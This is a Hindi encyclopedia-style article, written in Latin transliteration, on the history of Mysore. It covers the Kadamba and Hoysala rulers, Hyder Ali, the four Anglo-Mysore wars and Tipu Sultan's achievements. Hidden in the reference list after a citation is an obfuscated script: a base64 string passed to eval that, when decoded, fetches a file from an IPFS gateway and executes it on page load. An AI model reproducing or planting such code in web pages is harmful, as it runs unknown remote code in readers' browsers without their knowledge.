मैसूर का इतिहास
maisoor shahar ka itihas atyant prachin hai. isake prachinatam shasak kadamb vansh ke the, jinaka ullekh t aaulmi ne kiya hai. kadamboan ko cheroan, pallavoan aur chalukyoan se yuddh karana p da tha. 12vian shatabdi mean jakar maisoor ka shasan kadamboan ke hathoan se hoyasaloan ke hathoan mean aya, jinhoanne dvarasamudr athava adhunik halebid ko apani rajadhani banaya tha. hoyasal raja rayachandr se hi alauddin khilazi ne maisoor jitakar apane rajy mean sammilit kiya tha. isake uparant maisoor vijayanagar rajy mean sammilit kar liya gaya aur usake vighatan ke uparant 1610 ee. mean vah pun: sthaniy hindoo raja ke adhikar mean a gaya tha. [[chitr:Tipu-Sultan.jpg|thumb| tipoo sultan]] is rajavansh ke chauthe uttaradhikari chikk devaraj ne maisoor ki shakti aur satta mean ullekhaniy vriddhi ki. kintu 18vian shatabdi ke madhy mean usaka rajavansh haidarali dvara apadasth kar diya gaya tha aur usake putr tipoo sultan ne 1799 ee. tak us par rajy kiya. tipoo ki parajay aur mrityu ke uparant vijayi aangrezo ne maisoor ko sanrakshit rajy banakar vahaan ek paanch varshiy balak krishnaraj vadiyar ko sianhasan par baithaya tha. krishnaraj atyant ayogy shasak siddh hua, 1821 ee. mean british sarakar ne shasan prabandh apane hathoan mean le liya, parantu 1867 ee. mean krishna ke uttaradhikari cham rajendr ko pun: shasan sauanp diya. us samay se is sushasit rajy ka 1947 ee. mean bharatiy sangh mean vilay kar diya gaya.
maisoor-yuddh
- REDIRECTsaancha:mukhy
1761 ee. mean haidar ali ne maisoor mean hindoo shasak ke oopar niyantran sthapit kar liya. nirakshar hone ke bad bhi haidar ki sainik evan rajanitik yogyata advitiy thi. usake fraansisiyoan se achchhe sambandh the. haidar ali ki yogyata, kootanitik soojhaboojh evan sainik kushalata se marathe, nizam evan aangrez eershya karate the. haidar ali ne aangrezoan se bhi sahayog maanga tha, parantu aangrez isake lie taiyar nahian hue, kyoanki isase unaki rajanitik mahatvakaanksha poori n ho pati. bharat mean aangrezoan aur maisoor ke shasakoan ke bich char sainy muthabhe d huee thian. aangrezoan aur haidar ali tatha usake putr tipoo sultan ke bich samay-samay par yuddh hue. 32 varshoan (1767 se 1799 ee.) ke madhy mean ye yuddh chhe de ge the.
yuddh
[[chitr:Hyder-Ali.jpg|thumb|haidar ali]] bharat ke itihas mean char maisoor yuddh l de gaye haian, jo is prakar se haian-
- pratham yuddh (1767 - 1769 ee.)
- dvitiy yuddh (1780 - 1784 ee.)
- tritiy yuddh (1790 - 1792 ee.)
- chaturth yuddh (1799 ee.)
tipoo sultan ka yogadan
maisoor ke sher ke nam se mashahoor tipoo sultan n sirph atyant diler aur bahadur the balki ek kushal yojanakar bhi the. unhoanne apane shasanakal mean kee s dakoan ka nirman karaya aur sianchaee vyavastha ke pukhta iantajam kie. unhoanne ek baandh ki nianv bhi rakhi. kee bar aangrejoan ke chhakke chhu da dene vale tipoo ko poorv rashtrapati d aau. epije abdul kalam ne vishv ka sabase pahala raket avishkarak bataya tha. 20 navambar 1750 ko devanahalli (vartaman mean karnatak ka kolar zila) mean janme tipoo sultan haidar ali ke pahale putr the. tipoo kafi bahadur hone ke sath hi dimagi soojhaboojh se rananiti banane mean bhi behad mahir the. apane shasanakal mean bharat mean badhate eest iandiya kanpani ke samrajy ke samane vah kabhi nahian jhuke aur aangrezoan se jamakar loha liya. maisoor ki doosari l daee mean aangrezoan ko khade dane mean unhoanne apane pita haidar ali ki kafi madad ki. unhoanne apani bahaduri se jahaan kee bar goroan ko patakhani di vahian nijamoan ko bhi kee maukoan par dhool chataee. apani har se baukhalae haidarabad ke nijam ne tipoo sultan se gaddari ki aur aangrezoan se mil gaya. maisoor ki tisari l daee mean bhi jab aangrez tipoo ko nahian hara pae to unhoanne maisoor ke is sher se meangaloor sandhi nam se ek samajhauta kar liya. phoot dalo shasan karo ki niti chalane vale aangrezoan ne sandhi karane ke bad tipoo se gaddari kar dali. eest iandiya kanpani ne haidarabad ke sath milakar chauthi bar tipoo par jabaradast hamala bola aur akhirakar 4 mee 1799 ko maisoor ka sher shrirangapattanam ki raksha karate hue shahid ho gaya. tipoo ki sabase b di takat unaki raket sena thi. raket hamaloan se tipoo ki sena ne aangrezoan aur nijam ko titar−bitar kar diya tha. tipoo ki shahadat ke bad aangrez shrirangapattanam se do raket briten ke voolavich sangrahalay ki artilari gailari mean pradarshani ke lie le ge the. sultan ne 1782 mean apane pita ke nidhan ke bad maisoor ki kaman sanbhali aur apane shasanakal mean vikas karyoan ki jh di laga di thi. unhoanne jal bhandaran ke lie kaveri nadi ke us sthan par ek baandh ki nianv rakhi jahaan aj krishnaraj sagar baandh maujood hai. tipoo ne apane pita dvara shuroo ki gee lal bag pariyojana ko saphalatapoorvak poora kiya.[1]
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tika tippani aur sandarbh
- ↑ maisoor ka bahadur sher tipoo sultan (hiandi) (ech.ti.em.el) prabhasakshi. abhigaman tithi: 31 disambar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh